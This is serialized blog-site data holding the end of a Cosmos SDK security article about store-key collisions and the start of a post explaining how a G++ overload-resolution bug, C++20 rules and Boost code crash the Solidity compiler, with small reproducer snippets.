NewKVStoreKeys",{"type":24,"tag":271,"props":96239,"children":96240},{"style":288},[96241],{"type":29,"value":606},{"type":24,"tag":271,"props":96243,"children":96244},{"style":630},[96245],{"type":29,"value":96246},"names",{"type":24,"tag":271,"props":96248,"children":96249},{"style":624},[96250],{"type":29,"value":32975},{"type":24,"tag":271,"props":96252,"children":96253},{"style":3887},[96254],{"type":29,"value":37341},{"type":24,"tag":271,"props":96256,"children":96257},{"style":288},[96258],{"type":29,"value":8823},{"type":24,"tag":271,"props":96260,"children":96261},{"style":278},[96262],{"type":29,"value":73889},{"type":24,"tag":271,"props":96264,"children":96265},{"style":288},[96266],{"type":29,"value":4520},{"type":24,"tag":271,"props":96268,"children":96269},{"style":3887},[96270],{"type":29,"value":37341},{"type":24,"tag":271,"props":96272,"children":96273},{"style":288},[96274],{"type":29,"value":23108},{"type":24,"tag":271,"props":96276,"children":96277},{"style":624},[96278],{"type":29,"value":627},{"type":24,"tag":271,"props":96280,"children":96281},{"style":3887},[96282],{"type":29,"value":96283},"KVStoreKey",{"type":24,"tag":271,"props":96285,"children":96286},{"style":288},[96287],{"type":29,"value":7145},{"type":24,"tag":271,"props":96289,"children":96290},{"class":273,"line":284},[96291,96296,96300,96304,96308,96312,96316,96320,96324,96328,96332],{"type":24,"tag":271,"props":96292,"children":96293},{"style":630},[96294],{"type":29,"value":96295}," keys",{"type":24,"tag":271,"props":96297,"children":96298},{"style":624},[96299],{"type":29,"value":83206},{"type":24,"tag":271,"props":96301,"children":96302},{"style":598},[96303],{"type":29,"value":92354},{"type":24,"tag":271,"props":96305,"children":96306},{"style":288},[96307],{"type":29,"value":606},{"type":24,"tag":271,"props":96309,"children":96310},{"style":278},[96311],{"type":29,"value":73889},{"type":24,"tag":271,"props":96313,"children":96314},{"style":288},[96315],{"type":29,"value":4520},{"type":24,"tag":271,"props":96317,"children":96318},{"style":3887},[96319],{"type":29,"value":37341},{"type":24,"tag":271,"props":96321,"children":96322},{"style":288},[96323],{"type":29,"value":23108},{"type":24,"tag":271,"props":96325,"children":96326},{"style":624},[96327],{"type":29,"value":627},{"type":24,"tag":271,"props":96329,"children":96330},{"style":3887},[96331],{"type":29,"value":96283},{"type":24,"tag":271,"props":96333,"children":96334},{"style":288},[96335],{"type":29,"value":694},{"type":24,"tag":271,"props":96337,"children":96338},{"class":273,"line":294},[96339,96343,96347,96351,96355,96359,96363,96368],{"type":24,"tag":271,"props":96340,"children":96341},{"style":749},[96342],{"type":29,"value":4149},{"type":24,"tag":271,"props":96344,"children":96345},{"style":630},[96346],{"type":29,"value":10773},{"type":24,"tag":271,"props":96348,"children":96349},{"style":288},[96350],{"type":29,"value":158},{"type":24,"tag":271,"props":96352,"children":96353},{"style":630},[96354],{"type":29,"value":56163},{"type":24,"tag":271,"props":96356,"children":96357},{"style":624},[96358],{"type":29,"value":83206},{"type":24,"tag":271,"props":96360,"children":96361},{"style":749},[96362],{"type":29,"value":84189},{"type":24,"tag":271,"props":96364,"children":96365},{"style":630},[96366],{"type":29,"value":96367}," names",{"type":24,"tag":271,"props":96369,"children":96370},{"style":288},[96371],{"type":29,"value":7145},{"type":24,"tag":271,"props":96373,"children":96374},{"class":273,"line":303},[96375,96379,96383,96387,96391,96395,96400,96404,96408],{"type":24,"tag":271,"props":96376,"children":96377},{"style":630},[96378],{"type":29,"value":33007},{"type":24,"tag":271,"props":96380,"children":96381},{"style":288},[96382],{"type":29,"value":4520},{"type":24,"tag":271,"props":96384,"children":96385},{"style":630},[96386],{"type":29,"value":56163},{"type":24,"tag":271,"props":96388,"children":96389},{"style":288},[96390],{"type":29,"value":4530},{"type":24,"tag":271,"props":96392,"children":96393},{"style":624},[96394],{"type":29,"value":762},{"type":24,"tag":271,"props":96396,"children":96397},{"style":598},[96398],{"type":29,"value":96399}," NewKVStoreKey",{"type":24,"tag":271,"props":96401,"children":96402},{"style":288},[96403],{"type":29,"value":606},{"type":24,"tag":271,"props":96405,"children":96406},{"style":630},[96407],{"type":29,"value":56163},{"type":24,"tag":271,"props":96409,"children":96410},{"style":288},[96411],{"type":29,"value":694},{"type":24,"tag":271,"props":96413,"children":96414},{"class":273,"line":312},[96415],{"type":24,"tag":271,"props":96416,"children":96417},{"style":288},[96418],{"type":29,"value":4385},{"type":24,"tag":271,"props":96420,"children":96421},{"class":273,"line":321},[96422],{"type":24,"tag":271,"props":96423,"children":96424},{"emptyLinePlaceholder":16},[96425],{"type":29,"value":327},{"type":24,"tag":271,"props":96427,"children":96428},{"class":273,"line":330},[96429,96433],{"type":24,"tag":271,"props":96430,"children":96431},{"style":749},[96432],{"type":29,"value":9640},{"type":24,"tag":271,"props":96434,"children":96435},{"style":630},[96436],{"type":29,"value":96437}," keys\n",{"type":24,"tag":271,"props":96439,"children":96440},{"class":273,"line":339},[96441],{"type":24,"tag":271,"props":96442,"children":96443},{"style":288},[96444],{"type":29,"value":1171},{"type":24,"tag":25,"props":96446,"children":96447},{},[96448,96450,96455,96457,96462,96464,96469],{"type":29,"value":96449},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":24,"tag":135,"props":96451,"children":96453},{"className":96452},[],[96454],{"type":29,"value":85252},{"type":29,"value":96456}," will refuse to run if any ",{"type":24,"tag":135,"props":96458,"children":96460},{"className":96459},[],[96461],{"type":29,"value":91767},{"type":29,"value":96463}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":24,"tag":135,"props":96465,"children":96467},{"className":96466},[],[96468],{"type":29,"value":91767},{"type":29,"value":96470}," level.",{"type":24,"tag":25,"props":96472,"children":96473},{},[96474,96476,96483],{"type":29,"value":96475},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":24,"tag":32,"props":96477,"children":96480},{"href":96478,"rel":96479},"https://github.com/cosmos/cosmos-sdk/issues/12661",[36],[96481],{"type":29,"value":96482},"incorrect iterator behavior",{"type":29,"value":41},{"type":24,"tag":25,"props":96485,"children":96486},{},[96487,96489,96496],{"type":29,"value":96488},"Notably, gradual adoption of the ",{"type":24,"tag":32,"props":96490,"children":96493},{"href":96491,"rel":96492},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[36],[96494],{"type":29,"value":96495},"collections",{"type":29,"value":96497}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":24,"tag":62,"props":96499,"children":96500},{"id":10547},[96501],{"type":29,"value":10550},{"type":24,"tag":25,"props":96503,"children":96504},{},[96505],{"type":29,"value":96506},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":24,"tag":25,"props":96508,"children":96509},{},[96510],{"type":29,"value":96511},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":24,"tag":10562,"props":96513,"children":96514},{},[96515],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":96517},[96518,96519,96522,96525,96528,96531,96534,96537],{"id":36692,"depth":284,"text":36695},{"id":82671,"depth":284,"text":82674,"children":96520},[96521],{"id":83476,"depth":294,"text":83479},{"id":84072,"depth":284,"text":84075,"children":96523},[96524],{"id":84721,"depth":294,"text":83479},{"id":85218,"depth":284,"text":85221,"children":96526},[96527],{"id":86518,"depth":294,"text":83479},{"id":87862,"depth":284,"text":87865,"children":96529},[96530],{"id":88400,"depth":294,"text":83479},{"id":89919,"depth":284,"text":89922,"children":96532},[96533],{"id":90799,"depth":294,"text":83479},{"id":91753,"depth":284,"text":91756,"children":96535},[96536],{"id":96179,"depth":294,"text":83479},{"id":10547,"depth":284,"text":10550},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":96542,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":96543,"description":96544,"author":96545,"image":96546,"date":96548,"tags":96549,"isFeatured":16,"onBlogPage":16,"body":96550,"_type":10599,"_id":99259,"_source":10601,"_file":99260,"_stem":99261,"_extension":10604},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":96547,"height":21324,"width":21324},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[12192,36687],{"type":21,"children":96551,"toc":99243},[96552,96557,96694,96699,96704,96709,96714,96827,96832,96837,96842,96882,96895,96900,96918,96923,96926,96932,96946,96959,96964,96977,96982,96994,97007,97012,97015,97021,97027,97084,97089,97095,97109,97144,97152,97160,97180,97186,97191,97631,97639,97683,97688,97696,97704,97743,97748,97756,97761,97764,97770,97776,97801,97813,97840,97873,97878,97881,97887,97906,98424,98437,98455,98478,98489,98494,98597,98602,98607,98621,98626,98702,98720,98725,98728,98734,98746,98758,99098,99103,99121,99126,99129,99135,99140,99158,99178,99181,99187,99206,99209,99213,99218,99229,99234,99239],{"type":24,"tag":25,"props":96553,"children":96554},{},[96555],{"type":29,"value":96556},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":24,"tag":261,"props":96558,"children":96560},{"code":96559,"language":12192,"meta":7,"className":12193,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure returns (uint256) {\n return 1 ** 2;\n }\n}\n",[96561],{"type":24,"tag":135,"props":96562,"children":96563},{"__ignoreMap":7},[96564,96572,96590,96597,96614,96656,96680,96687],{"type":24,"tag":271,"props":96565,"children":96566},{"class":273,"line":274},[96567],{"type":24,"tag":271,"props":96568,"children":96569},{"style":2058},[96570],{"type":29,"value":96571},"// SPDX-License-Identifier: UNLICENSED\n",{"type":24,"tag":271,"props":96573,"children":96574},{"class":273,"line":284},[96575,96580,96585],{"type":24,"tag":271,"props":96576,"children":96577},{"style":749},[96578],{"type":29,"value":96579},"pragma",{"type":24,"tag":271,"props":96581,"children":96582},{"style":278},[96583],{"type":29,"value":96584}," solidity",{"type":24,"tag":271,"props":96586,"children":96587},{"style":288},[96588],{"type":29,"value":96589}," ^0.8.25;\n",{"type":24,"tag":271,"props":96591,"children":96592},{"class":273,"line":294},[96593],{"type":24,"tag":271,"props":96594,"children":96595},{"emptyLinePlaceholder":16},[96596],{"type":29,"value":327},{"type":24,"tag":271,"props":96598,"children":96599},{"class":273,"line":303},[96600,96605,96610],{"type":24,"tag":271,"props":96601,"children":96602},{"style":278},[96603],{"type":29,"value":96604},"contract",{"type":24,"tag":271,"props":96606,"children":96607},{"style":3887},[96608],{"type":29,"value":96609}," A",{"type":24,"tag":271,"props":96611,"children":96612},{"style":288},[96613],{"type":29,"value":7145},{"type":24,"tag":271,"props":96615,"children":96616},{"class":273,"line":312},[96617,96622,96627,96631,96635,96640,96644,96648,96652],{"type":24,"tag":271,"props":96618,"children":96619},{"style":278},[96620],{"type":29,"value":96621}," function",{"type":24,"tag":271,"props":96623,"children":96624},{"style":598},[96625],{"type":29,"value":96626}," a",{"type":24,"tag":271,"props":96628,"children":96629},{"style":288},[96630],{"type":29,"value":21742},{"type":24,"tag":271,"props":96632,"children":96633},{"style":278},[96634],{"type":29,"value":68461},{"type":24,"tag":271,"props":96636,"children":96637},{"style":278},[96638],{"type":29,"value":96639}," pure",{"type":24,"tag":271,"props":96641,"children":96642},{"style":749},[96643],{"type":29,"value":82783},{"type":24,"tag":271,"props":96645,"children":96646},{"style":288},[96647],{"type":29,"value":1357},{"type":24,"tag":271,"props":96649,"children":96650},{"style":3887},[96651],{"type":29,"value":53835},{"type":24,"tag":271,"props":96653,"children":96654},{"style":288},[96655],{"type":29,"value":919},{"type":24,"tag":271,"props":96657,"children":96658},{"class":273,"line":321},[96659,96663,96667,96672,96676],{"type":24,"tag":271,"props":96660,"children":96661},{"style":749},[96662],{"type":29,"value":8905},{"type":24,"tag":271,"props":96664,"children":96665},{"style":477},[96666],{"type":29,"value":824},{"type":24,"tag":271,"props":96668,"children":96669},{"style":624},[96670],{"type":29,"value":96671}," **",{"type":24,"tag":271,"props":96673,"children":96674},{"style":477},[96675],{"type":29,"value":4183},{"type":24,"tag":271,"props":96677,"children":96678},{"style":288},[96679],{"type":29,"value":1069},{"type":24,"tag":271,"props":96681,"children":96682},{"class":273,"line":330},[96683],{"type":24,"tag":271,"props":96684,"children":96685},{"style":288},[96686],{"type":29,"value":4385},{"type":24,"tag":271,"props":96688,"children":96689},{"class":273,"line":339},[96690],{"type":24,"tag":271,"props":96691,"children":96692},{"style":288},[96693],{"type":29,"value":1171},{"type":24,"tag":25,"props":96695,"children":96696},{},[96697],{"type":29,"value":96698},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":24,"tag":25,"props":96700,"children":96701},{},[96702],{"type":29,"value":96703},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":24,"tag":25,"props":96705,"children":96706},{},[96707],{"type":29,"value":96708},"And yet, it crashes.",{"type":24,"tag":25,"props":96710,"children":96711},{},[96712],{"type":29,"value":96713},"Another minimal example?",{"type":24,"tag":261,"props":96715,"children":96717},{"code":96716,"language":12192,"meta":7,"className":12193,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure {\n uint256[1] data;\n }\n}\n",[96718],{"type":24,"tag":135,"props":96719,"children":96720},{"__ignoreMap":7},[96721,96728,96743,96750,96765,96792,96813,96820],{"type":24,"tag":271,"props":96722,"children":96723},{"class":273,"line":274},[96724],{"type":24,"tag":271,"props":96725,"children":96726},{"style":2058},[96727],{"type":29,"value":96571},{"type":24,"tag":271,"props":96729,"children":96730},{"class":273,"line":284},[96731,96735,96739],{"type":24,"tag":271,"props":96732,"children":96733},{"style":749},[96734],{"type":29,"value":96579},{"type":24,"tag":271,"props":96736,"children":96737},{"style":278},[96738],{"type":29,"value":96584},{"type":24,"tag":271,"props":96740,"children":96741},{"style":288},[96742],{"type":29,"value":96589},{"type":24,"tag":271,"props":96744,"children":96745},{"class":273,"line":294},[96746],{"type":24,"tag":271,"props":96747,"children":96748},{"emptyLinePlaceholder":16},[96749],{"type":29,"value":327},{"type":24,"tag":271,"props":96751,"children":96752},{"class":273,"line":303},[96753,96757,96761],{"type":24,"tag":271,"props":96754,"children":96755},{"style":278},[96756],{"type":29,"value":96604},{"type":24,"tag":271,"props":96758,"children":96759},{"style":3887},[96760],{"type":29,"value":96609},{"type":24,"tag":271,"props":96762,"children":96763},{"style":288},[96764],{"type":29,"value":7145},{"type":24,"tag":271,"props":96766,"children":96767},{"class":273,"line":312},[96768,96772,96776,96780,96784,96788],{"type":24,"tag":271,"props":96769,"children":96770},{"style":278},[96771],{"type":29,"value":96621},{"type":24,"tag":271,"props":96773,"children":96774},{"style":598},[96775],{"type":29,"value":96626},{"type":24,"tag":271,"props":96777,"children":96778},{"style":288},[96779],{"type":29,"value":21742},{"type":24,"tag":271,"props":96781,"children":96782},{"style":278},[96783],{"type":29,"value":68461},{"type":24,"tag":271,"props":96785,"children":96786},{"style":278},[96787],{"type":29,"value":96639},{"type":24,"tag":271,"props":96789,"children":96790},{"style":288},[96791],{"type":29,"value":7145},{"type":24,"tag":271,"props":96793,"children":96794},{"class":273,"line":321},[96795,96800,96804,96808],{"type":24,"tag":271,"props":96796,"children":96797},{"style":3887},[96798],{"type":29,"value":96799}," uint256",{"type":24,"tag":271,"props":96801,"children":96802},{"style":288},[96803],{"type":29,"value":4520},{"type":24,"tag":271,"props":96805,"children":96806},{"style":477},[96807],{"type":29,"value":156},{"type":24,"tag":271,"props":96809,"children":96810},{"style":288},[96811],{"type":29,"value":96812},"] data;\n",{"type":24,"tag":271,"props":96814,"children":96815},{"class":273,"line":330},[96816],{"type":24,"tag":271,"props":96817,"children":96818},{"style":288},[96819],{"type":29,"value":4385},{"type":24,"tag":271,"props":96821,"children":96822},{"class":273,"line":339},[96823],{"type":24,"tag":271,"props":96824,"children":96825},{"style":288},[96826],{"type":29,"value":1171},{"type":24,"tag":25,"props":96828,"children":96829},{},[96830],{"type":29,"value":96831},"Still crashes.",{"type":24,"tag":25,"props":96833,"children":96834},{},[96835],{"type":29,"value":96836},"So what’s going on?",{"type":24,"tag":25,"props":96838,"children":96839},{},[96840],{"type":29,"value":96841},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":24,"tag":261,"props":96843,"children":96845},{"code":96844,"language":3861,"meta":7,"className":3859,"style":7},"if (*lengthValue == 0) { ... }\n",[96846],{"type":24,"tag":135,"props":96847,"children":96848},{"__ignoreMap":7},[96849],{"type":24,"tag":271,"props":96850,"children":96851},{"class":273,"line":274},[96852,96856,96860,96864,96869,96873,96877],{"type":24,"tag":271,"props":96853,"children":96854},{"style":749},[96855],{"type":29,"value":23277},{"type":24,"tag":271,"props":96857,"children":96858},{"style":288},[96859],{"type":29,"value":1357},{"type":24,"tag":271,"props":96861,"children":96862},{"style":624},[96863],{"type":29,"value":627},{"type":24,"tag":271,"props":96865,"children":96866},{"style":288},[96867],{"type":29,"value":96868},"lengthValue ",{"type":24,"tag":271,"props":96870,"children":96871},{"style":624},[96872],{"type":29,"value":5059},{"type":24,"tag":271,"props":96874,"children":96875},{"style":477},[96876],{"type":29,"value":767},{"type":24,"tag":271,"props":96878,"children":96879},{"style":288},[96880],{"type":29,"value":96881},") { ... }\n",{"type":24,"tag":25,"props":96883,"children":96884},{},[96885,96887,96893],{"type":29,"value":96886},"That single comparison — a ",{"type":24,"tag":135,"props":96888,"children":96890},{"className":96889},[],[96891],{"type":29,"value":96892},"boost::rational",{"type":29,"value":96894}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":24,"tag":25,"props":96896,"children":96897},{},[96898],{"type":29,"value":96899},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":24,"tag":97,"props":96901,"children":96902},{},[96903,96908,96913],{"type":24,"tag":101,"props":96904,"children":96905},{},[96906],{"type":29,"value":96907},"A 12-year-old overload resolution bug in G++",{"type":24,"tag":101,"props":96909,"children":96910},{},[96911],{"type":29,"value":96912},"An outdated symmetric comparison pattern in Boost",{"type":24,"tag":101,"props":96914,"children":96915},{},[96916],{"type":29,"value":96917},"A subtle but impactful rewrite rule in C++20",{"type":24,"tag":25,"props":96919,"children":96920},{},[96921],{"type":29,"value":96922},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":24,"tag":26485,"props":96924,"children":96925},{},[],{"type":24,"tag":62,"props":96927,"children":96929},{"id":96928},"background-the-setup",[96930],{"type":29,"value":96931},"Background: The Setup",{"type":24,"tag":25,"props":96933,"children":96934},{},[96935,96937,96944],{"type":29,"value":96936},"If you follow the ",{"type":24,"tag":32,"props":96938,"children":96941},{"href":96939,"rel":96940},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[36],[96942],{"type":29,"value":96943},"Solidity build documentation (v0.8.30)",{"type":29,"value":96945},", you'll see it recommends:",{"type":24,"tag":97,"props":96947,"children":96948},{},[96949,96954],{"type":24,"tag":101,"props":96950,"children":96951},{},[96952],{"type":29,"value":96953},"Boost ≥ 1.67",{"type":24,"tag":101,"props":96955,"children":96956},{},[96957],{"type":29,"value":96958},"GCC ≥ 11",{"type":24,"tag":25,"props":96960,"children":96961},{},[96962],{"type":29,"value":96963},"Ubuntu 22.04, for example, ships with:",{"type":24,"tag":97,"props":96965,"children":96966},{},[96967,96972],{"type":24,"tag":101,"props":96968,"children":96969},{},[96970],{"type":29,"value":96971},"G++ 11.4.0",{"type":24,"tag":101,"props":96973,"children":96974},{},[96975],{"type":29,"value":96976},"Boost 1.74.0",{"type":24,"tag":25,"props":96978,"children":96979},{},[96980],{"type":29,"value":96981},"So far, so good.",{"type":24,"tag":25,"props":96983,"children":96984},{},[96985,96987,96992],{"type":29,"value":96986},"However, Solidity enabled ",{"type":24,"tag":213,"props":96988,"children":96989},{},[96990],{"type":29,"value":96991},"C++20",{"type":29,"value":96993}," in January 2025:",{"type":24,"tag":10670,"props":96995,"children":96996},{},[96997],{"type":24,"tag":25,"props":96998,"children":96999},{},[97000],{"type":24,"tag":32,"props":97001,"children":97004},{"href":97002,"rel":97003},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[36],[97005],{"type":29,"value":97006},"Enable C++20 in Solidity",{"type":24,"tag":25,"props":97008,"children":97009},{},[97010],{"type":29,"value":97011},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":24,"tag":26485,"props":97013,"children":97014},{},[],{"type":24,"tag":62,"props":97016,"children":97018},{"id":97017},"part-i-a-12-year-old-g-bug-in-overload-resolution",[97019],{"type":29,"value":97020},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":24,"tag":85,"props":97022,"children":97024},{"id":97023},"whats-overload-resolution",[97025],{"type":29,"value":97026},"What’s Overload Resolution?",{"type":24,"tag":25,"props":97028,"children":97029},{},[97030,97032,97038,97040,97046,97048,97053,97055,97060,97062,97068,97070,97075,97076,97082],{"type":29,"value":97031},"In C++, when you write an expression like ",{"type":24,"tag":135,"props":97033,"children":97035},{"className":97034},[],[97036],{"type":29,"value":97037},"a == b",{"type":29,"value":97039},", the compiler chooses among available ",{"type":24,"tag":135,"props":97041,"children":97043},{"className":97042},[],[97044],{"type":29,"value":97045},"operator==",{"type":29,"value":97047}," implementations by comparing their ",{"type":24,"tag":213,"props":97049,"children":97050},{},[97051],{"type":29,"value":97052},"match quality",{"type":29,"value":97054},". A ",{"type":24,"tag":213,"props":97056,"children":97057},{},[97058],{"type":29,"value":97059},"member function",{"type":29,"value":97061}," like ",{"type":24,"tag":135,"props":97063,"children":97065},{"className":97064},[],[97066],{"type":29,"value":97067},"a.operator==(b)",{"type":29,"value":97069}," usually has higher priority than a ",{"type":24,"tag":213,"props":97071,"children":97072},{},[97073],{"type":29,"value":97074},"non-member function",{"type":29,"value":97061},{"type":24,"tag":135,"props":97077,"children":97079},{"className":97078},[],[97080],{"type":29,"value":97081},"operator==(a, b)",{"type":29,"value":97083}," — unless the types differ too much or are ambiguous.",{"type":24,"tag":25,"props":97085,"children":97086},{},[97087],{"type":29,"value":97088},"That’s the rule. But G++ didn’t always follow it.",{"type":24,"tag":85,"props":97090,"children":97092},{"id":97091},"the-bug",[97093],{"type":29,"value":97094},"The Bug",{"type":24,"tag":25,"props":97096,"children":97097},{},[97098,97100,97107],{"type":29,"value":97099},"In 2012, a bug was filed: ",{"type":24,"tag":32,"props":97101,"children":97104},{"href":97102,"rel":97103},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[36],[97105],{"type":29,"value":97106},"GCC Bug 53499 – overload resolution favors non-member function",{"type":29,"value":97108},". The issue? In expressions where:",{"type":24,"tag":97,"props":97110,"children":97111},{},[97112,97132],{"type":24,"tag":101,"props":97113,"children":97114},{},[97115,97117,97123,97125,97130],{"type":29,"value":97116},"A class ",{"type":24,"tag":135,"props":97118,"children":97120},{"className":97119},[],[97121],{"type":29,"value":97122},"rational\u003CT>",{"type":29,"value":97124}," has a templated ",{"type":24,"tag":135,"props":97126,"children":97128},{"className":97127},[],[97129],{"type":29,"value":97045},{"type":29,"value":97131}," member function",{"type":24,"tag":101,"props":97133,"children":97134},{},[97135,97137,97143],{"type":29,"value":97136},"There's also a more generic free ",{"type":24,"tag":135,"props":97138,"children":97140},{"className":97139},[],[97141],{"type":29,"value":97142},"operator==(rational\u003CT>, U)",{"type":29,"value":45882},{"type":24,"tag":25,"props":97145,"children":97146},{},[97147],{"type":24,"tag":213,"props":97148,"children":97149},{},[97150],{"type":29,"value":97151},"Clang correctly chooses the member function.",{"type":24,"tag":25,"props":97153,"children":97154},{},[97155],{"type":24,"tag":213,"props":97156,"children":97157},{},[97158],{"type":29,"value":97159},"G++ (before v14) chooses the non-member function.",{"type":24,"tag":25,"props":97161,"children":97162},{},[97163,97165,97170,97172,97179],{"type":29,"value":97164},"Why? Because G++ mishandles ",{"type":24,"tag":213,"props":97166,"children":97167},{},[97168],{"type":29,"value":97169},"templated conversion + non-exact match",{"type":29,"value":97171},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":24,"tag":32,"props":97173,"children":97176},{"href":97174,"rel":97175},"https://cplusplus.github.io/CWG/issues/532.html",[36],[97177],{"type":29,"value":97178},"CWG532: Member/nonmember operator template partial ordering",{"type":29,"value":41},{"type":24,"tag":85,"props":97181,"children":97183},{"id":97182},"a-minimal-reproducer",[97184],{"type":29,"value":97185},"A Minimal Reproducer",{"type":24,"tag":25,"props":97187,"children":97188},{},[97189],{"type":29,"value":97190},"Let’s see this in action:",{"type":24,"tag":261,"props":97192,"children":97194},{"code":97193,"language":3861,"meta":7,"className":3859,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n template \u003Cclass T>\n bool operator==(const T& i) const {\n std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n return true;\n }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n return false;\n}\n\nint main() {\n rational\u003Cint> r;\n return r == 0;\n}\n",[97195],{"type":24,"tag":135,"props":97196,"children":97197},{"__ignoreMap":7},[97198,97211,97218,97243,97259,97267,97291,97336,97364,97379,97386,97393,97400,97436,97505,97530,97545,97552,97559,97575,97600,97624],{"type":24,"tag":271,"props":97199,"children":97200},{"class":273,"line":274},[97201,97206],{"type":24,"tag":271,"props":97202,"children":97203},{"style":749},[97204],{"type":29,"value":97205},"#include",{"type":24,"tag":271,"props":97207,"children":97208},{"style":378},[97209],{"type":29,"value":97210}," \u003Ciostream>\n",{"type":24,"tag":271,"props":97212,"children":97213},{"class":273,"line":284},[97214],{"type":24,"tag":271,"props":97215,"children":97216},{"emptyLinePlaceholder":16},[97217],{"type":29,"value":327},{"type":24,"tag":271,"props":97219,"children":97220},{"class":273,"line":294},[97221,97225,97229,97234,97239],{"type":24,"tag":271,"props":97222,"children":97223},{"style":278},[97224],{"type":29,"value":73003},{"type":24,"tag":271,"props":97226,"children":97227},{"style":288},[97228],{"type":29,"value":16432},{"type":24,"tag":271,"props":97230,"children":97231},{"style":278},[97232],{"type":29,"value":97233},"typename",{"type":24,"tag":271,"props":97235,"children":97236},{"style":3887},[97237],{"type":29,"value":97238}," IntType",{"type":24,"tag":271,"props":97240,"children":97241},{"style":288},[97242],{"type":29,"value":13709},{"type":24,"tag":271,"props":97244,"children":97245},{"class":273,"line":303},[97246,97250,97255],{"type":24,"tag":271,"props":97247,"children":97248},{"style":278},[97249],{"type":29,"value":77198},{"type":24,"tag":271,"props":97251,"children":97252},{"style":3887},[97253],{"type":29,"value":97254}," rational",{"type":24,"tag":271,"props":97256,"children":97257},{"style":288},[97258],{"type":29,"value":7145},{"type":24,"tag":271,"props":97260,"children":97261},{"class":273,"line":312},[97262],{"type":24,"tag":271,"props":97263,"children":97264},{"style":278},[97265],{"type":29,"value":97266},"public:\n",{"type":24,"tag":271,"props":97268,"children":97269},{"class":273,"line":321},[97270,97275,97279,97283,97287],{"type":24,"tag":271,"props":97271,"children":97272},{"style":278},[97273],{"type":29,"value":97274}," template",{"type":24,"tag":271,"props":97276,"children":97277},{"style":288},[97278],{"type":29,"value":16432},{"type":24,"tag":271,"props":97280,"children":97281},{"style":278},[97282],{"type":29,"value":77198},{"type":24,"tag":271,"props":97284,"children":97285},{"style":3887},[97286],{"type":29,"value":13635},{"type":24,"tag":271,"props":97288,"children":97289},{"style":288},[97290],{"type":29,"value":13709},{"type":24,"tag":271,"props":97292,"children":97293},{"class":273,"line":330},[97294,97298,97303,97308,97312,97316,97320,97324,97328,97332],{"type":24,"tag":271,"props":97295,"children":97296},{"style":278},[97297],{"type":29,"value":8093},{"type":24,"tag":271,"props":97299,"children":97300},{"style":278},[97301],{"type":29,"value":97302}," operator",{"type":24,"tag":271,"props":97304,"children":97305},{"style":288},[97306],{"type":29,"value":97307},"==(",{"type":24,"tag":271,"props":97309,"children":97310},{"style":278},[97311],{"type":29,"value":611},{"type":24,"tag":271,"props":97313,"children":97314},{"style":3887},[97315],{"type":29,"value":13635},{"type":24,"tag":271,"props":97317,"children":97318},{"style":278},[97319],{"type":29,"value":1137},{"type":24,"tag":271,"props":97321,"children":97322},{"style":630},[97323],{"type":29,"value":11125},{"type":24,"tag":271,"props":97325,"children":97326},{"style":288},[97327],{"type":29,"value":8823},{"type":24,"tag":271,"props":97329,"children":97330},{"style":278},[97331],{"type":29,"value":611},{"type":24,"tag":271,"props":97333,"children":97334},{"style":288},[97335],{"type":29,"value":7145},{"type":24,"tag":271,"props":97337,"children":97338},{"class":273,"line":339},[97339,97344,97349,97354,97359],{"type":24,"tag":271,"props":97340,"children":97341},{"style":288},[97342],{"type":29,"value":97343}," std::cout ",{"type":24,"tag":271,"props":97345,"children":97346},{"style":624},[97347],{"type":29,"value":97348},"\u003C\u003C",{"type":24,"tag":271,"props":97350,"children":97351},{"style":378},[97352],{"type":29,"value":97353}," \"clang++ resolved 